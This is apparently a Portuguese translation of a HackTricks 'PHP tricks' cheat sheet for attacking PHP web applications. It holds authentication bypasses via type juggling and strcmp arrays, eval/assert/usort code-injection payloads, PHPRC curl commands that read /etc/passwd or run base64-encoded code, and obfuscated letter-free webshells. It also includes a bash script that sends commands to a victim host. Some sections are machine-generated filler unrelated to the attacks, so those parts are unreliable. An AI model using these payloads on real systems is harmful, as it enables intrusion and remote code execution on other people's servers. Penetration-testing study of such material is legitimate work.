25 KiB
Truques do PHP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Localização comum dos cookies:
Isso também é válido para cookies do phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Localizações:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Bypassando comparações em PHP
Comparações fracas/Type Juggling ( == )
Se o ==
for usado em PHP, há casos inesperados em que a comparação não se comporta como esperado. Isso ocorre porque "==" compara apenas valores transformados para o mesmo tipo. Se você também deseja comparar que o tipo dos dados comparados é o mesmo, você precisa usar ===
.
Tabelas de comparação em PHP: https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
Uma string que não começa com um número é igual a um número"0xAAAA" == "43690" -> True
Strings compostas por números em formato decimal ou hexadecimal podem ser comparadas com outros números/strings com resultado True se os números forem iguais (números em uma string são interpretados como números)"0e3264578" == 0 --> True
Uma string que começa com "0e" e seguida por qualquer coisa será igual a 0"0X3264578" == 0X --> True
Uma string que começa com "0" e seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0"0e12334" == "0" --> True
Isso é muito interessante porque em alguns casos você pode controlar a entrada de string de "0" e algum conteúdo que está sendo hashado e comparado com ele. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar strings já hashadas com esse formato aqui: https://github.com/spaze/hashes"X" == 0 --> True
Qualquer letra em uma string é igual a int 0
Mais informações em https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling também afeta a função in_array()
por padrão (você precisa definir como true o terceiro argumento para fazer uma comparação estrita):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Se essa função for usada para qualquer verificação de autenticação (como verificar a senha) e o usuário controlar um lado da comparação, ele pode enviar um array vazio em vez de uma string como valor da senha (https://example.com/login.php/?username=admin&password[]=
) e contornar essa verificação:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
O mesmo erro ocorre com strcasecmp()
Conversão estrita de tipos
Mesmo se ===
estiver sendo usado, pode haver erros que tornam a comparação vulnerável à conversão estrita de tipos. Por exemplo, se a comparação estiver convertendo os dados para um tipo de objeto diferente antes de comparar:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
pode ser usado para validar a entrada do usuário (ele verifica se alguma palavra/regex de uma lista negra está presente na entrada do usuário e, se não estiver, o código pode continuar sua execução).
Bypass de nova linha
No entanto, ao delimitar o início da regexp, preg_match()
verifica apenas a primeira linha da entrada do usuário, então, se de alguma forma você puder enviar a entrada em várias linhas, você pode ser capaz de contornar essa verificação. Exemplo:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Para contornar essa verificação, você pode enviar o valor com quebras de linha urlencoded (%0A
) ou, se puder enviar dados JSON, enviá-los em várias linhas:
{
"cmd": "cat /etc/passwd"
}
Encontre um exemplo aqui: https://ramadistra.dev/fbctf-2019-rceservice
Burla de erro de comprimento
(Esta burla foi testada aparentemente no PHP 5.2.5 e não consegui fazê-la funcionar no PHP 7.3.15)
Se você puder enviar para preg_match()
uma entrada muito grande válida, ele não conseguirá processá-la e você poderá burlar a verificação. Por exemplo, se estiver sendo feito um bloqueio de um JSON, você poderia enviar:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'
De: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
Tipos de Juggling para ofuscação em PHP
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Executar Após Redirecionamento (EAR)
Se o PHP estiver redirecionando para outra página, mas nenhuma função die
ou exit
é chamada após o cabeçalho Location
ser definido, o PHP continua executando e anexando os dados ao corpo da página:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Mais truques
- register_globals: No PHP < 4.1.1.1 ou se estiver mal configurado, o register_globals pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $_GET, se elas tiverem um valor, por exemplo, $_GET["param"]="1234", você pode acessá-lo através de $param. Portanto, enviando parâmetros HTTP, você pode sobrescrever variáveis que são usadas no código.
- Os cookies PHPSESSION do mesmo domínio são armazenados no mesmo local, portanto, se dentro de um domínio cookies diferentes são usados em caminhos diferentes, você pode fazer com que um caminho acesse o cookie do outro caminho definindo o valor do cookie do outro caminho.
Dessa forma, se ambos os caminhos acessarem uma variável com o mesmo nome, você pode fazer com que o valor dessa variável em path1 se aplique a path2. E então path2 considerará válidas as variáveis de path1 (atribuindo ao cookie o nome correspondente a ele em path2). - Quando você tem os nomes de usuário dos usuários da máquina, verifique o endereço: /~<NOME DE USUÁRIO> para ver se os diretórios php estão ativados.
- LFI e RCE usando wrappers php
password_hash/password_verify
Essas funções são normalmente usadas em PHP para gerar hashes a partir de senhas e para verificar se uma senha está correta em comparação com um hash.
Os algoritmos suportados são: PASSWORD_DEFAULT
e PASSWORD_BCRYPT
(começa com $2y$
). Note que PASSWORD_DEFAULT é frequentemente o mesmo que PASSWORD_BCRYPT. E atualmente, PASSWORD_BCRYPT tem uma limitação de tamanho na entrada de 72 bytes. Portanto, quando você tenta gerar um hash de algo maior que 72 bytes com esse algoritmo, apenas os primeiros 72 bytes serão usados:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
Bypassando cabeçalhos HTTP abusando de erros do PHP
Se uma página PHP estiver imprimindo erros e ecoando algum input fornecido pelo usuário, o usuário pode fazer com que o servidor PHP imprima algum conteúdo longo o suficiente para que, quando ele tentar adicionar os cabeçalhos na resposta, o servidor lance um erro.
No cenário a seguir, o atacante fez o servidor lançar alguns erros grandes, e como você pode ver na tela, quando o PHP tentou modificar as informações do cabeçalho, não conseguiu (por exemplo, o cabeçalho CSP não foi enviado ao usuário):
Execução de código
system("ls");
`ls`;
shell_exec("ls");
Verifique isso para mais funções úteis do PHP
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Para executar o código no argumento "replace", é necessário ter pelo menos uma correspondência.
Essa opção do preg_replace foi descontinuada a partir do PHP 5.5.0.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
Esta função dentro do php permite que você execute código que está escrito em uma string para retornar verdadeiro ou falso (e dependendo disso, alterar a execução). Geralmente, a variável do usuário será inserida no meio de uma string. Por exemplo:
assert("strpos($_GET['page']),'..') === false")
--> Neste caso, para obter RCE, você poderia fazer:
?page=a','NeVeR') === false and system('ls') and strpos('a
Você precisará quebrar a sintaxe do código, adicionar sua carga útil e, em seguida, corrigi-la novamente. Você pode usar operações lógicas como "and" ou "%26%26" ou "|". Observe que "or" e "||" não funcionam porque se a primeira condição for verdadeira, nossa carga útil não será executada. Da mesma forma, ";" não funciona, pois nossa carga útil não será executada.
Outra opção é adicionar à string a execução do comando: '.highlight_file('.passwd').'
Outra opção (se você tiver o código interno) é modificar alguma variável para alterar a execução: $file = "hola"
RCE via usort()
Essa função é usada para classificar uma matriz de itens usando uma função específica.
Para abusar dessa função:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
Você também pode usar // para comentar o restante do código.
Para descobrir o número de parênteses que você precisa fechar:
?order=id;}//
: obtemos uma mensagem de erro (Parse error: syntax error, unexpected ';'
). Provavelmente estamos faltando um ou mais parênteses.?order=id);}//
: obtemos um aviso. Parece estar correto.?order=id));}//
: obtemos uma mensagem de erro (Parse error: syntax error, unexpected ')' i
). Provavelmente temos muitos parênteses de fechamento.
RCE via .httaccess
Se você pode fazer upload de um .htaccess, então você pode configurar várias coisas e até mesmo executar código (configurando que arquivos com extensão .htaccess podem ser executados).
Diferentes shells .htaccess podem ser encontrados aqui
RCE via Variáveis de Ambiente
Se você encontrar uma vulnerabilidade que permita modificar variáveis de ambiente no PHP (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você pode abusar desse comportamento para obter RCE.
LD_PRELOAD
: Essa variável de ambiente permite carregar bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).PHPRC
: Instrui o PHP sobre onde localizar seu arquivo de configuração, geralmente chamadophp.ini
. Se você puder fazer upload do seu próprio arquivo de configuração, então usePHPRC
para apontar o PHP para ele. Adicione uma entradaauto_prepend_file
especificando um segundo arquivo enviado. Este segundo arquivo contém código PHP normal, que é então executado pelo tempo de execução do PHP antes de qualquer outro código.
- Faça upload de um arquivo PHP contendo nosso código de shell
- Faça upload de um segundo arquivo, contendo uma diretiva
auto_prepend_file
instruindo o pré-processador PHP a executar o arquivo que enviamos no passo 1 - Defina a variável
PHPRC
para o arquivo que enviamos no passo 2.
- Obtenha mais informações sobre como executar essa cadeia no relatório original.
- PHPRC - outra opção
- Se você não pode fazer upload de arquivos, você pode usar no FreeBSD o "arquivo"
/dev/fd/0
que contém ostdin
, sendo o corpo da solicitação enviada para ostdin
: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Ou para obter RCE, habilite
allow_url_include
e adicione um arquivo com código PHP em base64: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Técnica desse relatório.
Análise Estática do PHP
Verifique se você pode inserir código nas chamadas dessas funções (de aqui):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Se você estiver depurando uma aplicação PHP, você pode habilitar globalmente a exibição de erros em /etc/php5/apache2/php.ini
adicionando display_errors = On
e reiniciando o apache: sudo systemctl restart apache2
Desofuscando código PHP
Você pode usar o site www.unphp.net para desofuscar código PHP.
Wrappers e Protocolos PHP
Wrappers e protocolos PHP podem permitir que você ignore proteções de escrita e leitura em um sistema e comprometa-o. Para mais informações, consulte esta página.
RCE não autenticado do Xdebug
Se você verificar que o Xdebug está habilitado em uma saída phpconfig()
, você deve tentar obter RCE através de https://github.com/nqxcode/xdebug-exploit
Variáveis de variáveis
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
Explorando RCE usando $_GET["a"]($_GET["b"])
Se em uma página você pode criar um novo objeto de uma classe arbitrária, você pode ser capaz de obter RCE, verifique a seguinte página para aprender como:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}
Executando PHP sem letras
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Usando octal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
O operador XOR (ou exclusivo) é uma operação lógica que retorna verdadeiro apenas quando os operandos têm valores diferentes. Em PHP, o operador XOR é representado pelo símbolo ^
.
O operador XOR é frequentemente usado em técnicas de criptografia e ofuscação de código. Ele pode ser usado para realizar operações de criptografia simples, como a cifra de um texto usando uma chave secreta.
Além disso, o operador XOR também pode ser usado para realizar verificações de paridade e manipulação de bits.
Aqui está um exemplo de uso do operador XOR em PHP:
$valor1 = 10;
$valor2 = 5;
$resultado = $valor1 ^ $valor2;
echo $resultado; // Saída: 15
Neste exemplo, o operador XOR é usado para realizar uma operação de bit a bit entre os valores das variáveis $valor1
e $valor2
. O resultado é armazenado na variável $resultado
e, em seguida, é exibido na tela.
O operador XOR é uma ferramenta poderosa que pode ser usada em várias situações de programação. No entanto, é importante usá-lo com cuidado e entender completamente como ele funciona para evitar erros e comportamentos inesperados.
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
Código de shell XOR fácil
De acordo com este artigo, é possível gerar um código de shell fácil desta maneira:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Então, se você pode executar PHP arbitrário sem números e letras, você pode enviar uma solicitação como a seguinte abusando desse payload para executar PHP arbitrário:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Para uma explicação mais detalhada, consulte https://ctf-wiki.org/web/php/php/#preg_match
Shellcode XOR (dentro de eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl-like
O PHP é uma linguagem de programação que possui muitas semelhanças com a linguagem Perl. Essas semelhanças permitem que os desenvolvedores usem técnicas semelhantes ao programar em PHP. Neste diretório, você encontrará várias dicas e truques para aproveitar ao máximo essas semelhanças e escrever código PHP de forma mais eficiente e concisa.
Expressões Regulares
As expressões regulares são uma parte importante da programação Perl e também podem ser usadas em PHP. Elas são úteis para realizar correspondências de padrões em strings e realizar manipulações de texto avançadas. O PHP oferece suporte a expressões regulares por meio da função preg_match()
e outras funções relacionadas.
Manipulação de Strings
Assim como Perl, o PHP possui uma ampla gama de funções para manipulação de strings. Essas funções permitem que você faça coisas como dividir uma string em partes, substituir partes de uma string por outra, converter letras maiúsculas em minúsculas e vice-versa, entre outras manipulações de texto.
Funções de Array
O PHP também possui muitas funções de array que são semelhantes às encontradas em Perl. Essas funções permitem que você manipule arrays de forma eficiente, adicionando, removendo, ordenando e pesquisando elementos em um array.
Manipulação de Arquivos
Assim como Perl, o PHP oferece recursos poderosos para manipulação de arquivos. Você pode abrir, ler, gravar e fechar arquivos usando funções específicas do PHP. Além disso, o PHP também oferece suporte a manipulação de diretórios, permitindo que você liste arquivos em um diretório e realize outras operações relacionadas a arquivos.
Outras Características Perl-like
Além das características mencionadas acima, o PHP também possui outras funcionalidades que são semelhantes às encontradas em Perl. Isso inclui recursos como manipulação de datas e horas, manipulação de XML, suporte a sockets de rede e muito mais.
Ao aproveitar essas semelhanças com Perl, você pode escrever código PHP mais eficiente e conciso. Isso pode economizar tempo e esforço durante o desenvolvimento de aplicativos e scripts em PHP.
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.